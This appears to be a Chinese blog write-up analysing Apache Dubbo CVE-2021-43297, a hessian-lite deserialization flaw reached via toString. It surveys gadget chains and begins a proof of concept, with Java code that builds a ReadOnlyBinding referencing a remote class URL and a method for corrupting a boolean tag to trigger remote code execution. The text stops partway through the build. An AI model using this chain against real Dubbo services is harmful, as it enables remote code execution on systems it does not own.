Python微信订餐小程序课程视频
https://edu.csdn.net/course/detail/36074
Python实战量化交易理财系统
https://edu.csdn.net/course/detail/35475
目录* 0 前言
0 前言
1月15号看到dubbo的CVE-2021-43297通报,收集了一下各种说明,只在阿里云的通报中发现了一点提示信息https://help.aliyun.com/document_detail/390205.html
没有找到相关的poc和原理分析,毕业论文实在写不下去了,所以想找点乐子,决定搞清楚具体怎么触发的该漏洞
1 找源头
1.1 找到触发点
根据阿里云通报的提示,翻了一下apache-dubbo的github,没有发现有价值的commit,但通报里写到是hessian-lite有问题,所以继续找到hessian-lite的github,终于发现了有用的commit。这个commit注释写明删除了toString调用,看一下源代码
删除的代码中,因为使用了字符串拼接,所以obj对象会自动调用其toString方法,感觉来了啊:)
先直接给一个结论,这个CVE恐怕主要还是从Hessian2Input.except()->obj.toString触发的,其它也可以触发obj.toString()的地方,例如AbstractMapDeserializer#readObject()、AbstractListDeserializer#readObject()、AbstractDeserializer.readObject()、AbstractDeserializer#readMap()和JavaDeserializer#logDeserializeError()并不好构造poc触发。各种AbstractxxDeserializer的方法都被下面的子类方法覆盖了并不会被调用;而JavaDeserializer#logDeserializeError()是执行value.toString,但反序列化value时调用的是readObject(expectClass),会比较反序列化的类与期望类是否相同,如果插入恶意字节流,则会报错IOexception,不会执行到value.toString。
1.2 可用的gadget
由于之前搞过dubbo的反序列化,所以对toString方法开始触发的的gadget还是有记忆。
第一种:JsonObject.toString
https://blog.csdn.net/bitterz/p/15588955.html
dubbo<=2.7.3时,由于其自带fastjson<=1.2.46版本,所以可以用JsonObject包裹一个TemplatesImpl对象,该TemplatesImpl的_bytecodes属性携带恶意字节码,在恶意字节码实例化的过程中实现RCE。但是有版本限制,所以暂时不深入研究。
第二种:ToStringBean.toString
其实是remo调用链的截断,这个调用链可以看我的博客,或者三梦师傅的github
原理是用ToStringBean对象包裹一个JdbcRowSetImpl对象,在调用ToStringBean.toString方法时,会调用其所包裹的JdbcRowSetImpl对象的所有getter方法,从而利用JNDI实现RCE。写了一下poc没有成功。
第三种:AspectJPointcutAdvisor.toString
其实是SpringAbstractBeanFactoryPointcutAdvisor调用链的截断,调用链过长就不详细说了。
第四种:ReadOnlyBinding.toString
其实是XBean调用链的截断,截断后的调用链如下,其实就是利用其toString方法往下调用时会用到NamingManager,在NamingManager中会去指定地址下载恶意class文件,并实例化,最终造成RCE。
at java.lang.Class.newInstance(Class.java:442)
at javax.naming.spi.NamingManager.getObjectFactoryFromReference(NamingManager.java:163)
at javax.naming.spi.NamingManager.getObjectInstance(NamingManager.java:319)
at org.apache.xbean.naming.context.ContextUtil.resolve(ContextUtil.java:73)
at org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding.getObject(ContextUtil.java:204)
at javax.naming.Binding.toString(Binding.java:192)
其它可能的方法,比如CC链中的TiedMapEntry之类的就没有深究了,精力有限。
1.3 向上推触发点
最终选用ReadOnlyBinding.toString这个链(短一点,比较简单),前面找到了可用的gadget,那么obj.toString方法如何才能到达呢,首先找到com.alibaba.com.caucho.hessian.io.Hessian2Input
发现obj拼接在except方法中
并且在执行obj.toString方法前,obj是由Hessian2Input#readObject方法反序列化出来的,那么可以思考,如果这里反序列化出来的是恶意ReadOnlyBinding对象,RCE就达成了。借助IDEA继续往前推except会在哪里调用
实际上还是Hessian2Input这个类中,跟进一下具体的方法,以readBoolean为例
public boolean readBoolean()
throws IOException {
int tag = _offset < _length ? (_buffer[_offset++] & 0xff) : read();
switch (tag) {
case 'T':
return true;
case 'F':
return false;
case 0x80:
case 0x81:
// 省略了其它case
case 'N':
return false;
default:
throw expect("boolean", tag);
可见,hessian2协议在反序列化布尔值时,通过一个给定的tag进行判断,当tag没有对应值时,会进入default,从而调用except方法。
到这里也就清晰了,我们可以使用hessian2对某个对象进行序列化,得到一段byte数组,修改数组中某个布尔值属性所对应的tag,即可在反序列化布尔值时找不到对应的tag,然后进入default,也就是进入except方法,再调用obj.toString()从而实现RCE。
2 构造poc
2.1 开启HttpServer
使用ReadOnlyBinding.toString这个链实现RCE,要求开一个http服务器用于下载恶意class文件,借用一下三梦师傅的代码,并把其中的new File(filePath)
处的filePath改成我的恶意class文级路径。
2.2 hessian2序列化过程简述
由于涉及到修改序列化后的数据,所以必须要对序列化过程有一定的掌握(踩过坑,试过不看代码直接修改byte数组,非常困难且容易出错)
在dubbo中有很多序列化协议,例如fastjson、hessian2和gson等,其中hessian2被设置为默认的反序列化协议。在hessian2序列化的过程中,它会根据不同的类选择不同的序列化器,在处理某个类的不同属性时,又会根据其类型选择序列化器,如此迭代,最终完成序列化。
示例代码
// 创建ReadOnlyBinding对象
Context ctx = Reflections.createWithoutConstructor(WritableContext.class);
Reference ref = new Reference("ExecTest", "ExecTest","http://127.0.0.1:8080/");
ContextUtil.ReadOnlyBinding binding = new ContextUtil.ReadOnlyBinding("foo", ref, ctx);
// 接收序列化后的字节流
ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
// 创建hessian2序列化工具
Hessian2Output out = new Hessian2Output(hessian2ByteArrayOutputStream);
// 序列化binding对象
out.writeObject(binding);
跟进Hessian2Output#writeObject方法看看
- com